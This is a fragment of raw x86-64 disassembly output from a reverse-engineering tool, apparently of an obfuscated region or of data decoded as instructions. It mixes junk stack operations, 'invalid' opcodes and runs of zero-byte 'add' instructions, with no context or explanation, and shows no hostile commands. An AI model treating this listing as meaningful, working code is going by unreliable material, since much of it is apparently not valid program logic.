test qword [rsp + 8], rcx
jae 0x1408a98f7
neg dword [rsp + 0x48]
neg ecx
lea rcx, [rbx + rcx + 0x638a28f0]
xor word [rsp + 0x48], 0x43f3
cmp byte [rsp + 0x10], bh
mov word [rsp + 8], 0x79f6
jno 0x14085cecc
invalid
xor r12, qword [rsp + 0x40]
neg word [rsp + 0x30]
test word [rsp + 0x38], 0x6a4e
lea r14, [rcx + rcx*8 + 0x531e70c8]
sete cl
not byte [rsp + 8]
mov r13, qword [rsp + 0x98]
or byte [rsp + 0x40], 0x32
test byte [rsp + 9], cl
mov cl, r14b
jg 0x140e9c9e1
movsxd r14, ebx
add qword [rsp + 0x18], 0xffffffffbf0728ca
call fcn.140d739ae
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x17f7db9c], al
mov r8, qword [rsp + 0x18]
call fcn.140fab0aa
add byte [rsp + 0x18], r14b
cmp bx, 0x6ffb
call fcn.14082ca3c
invalid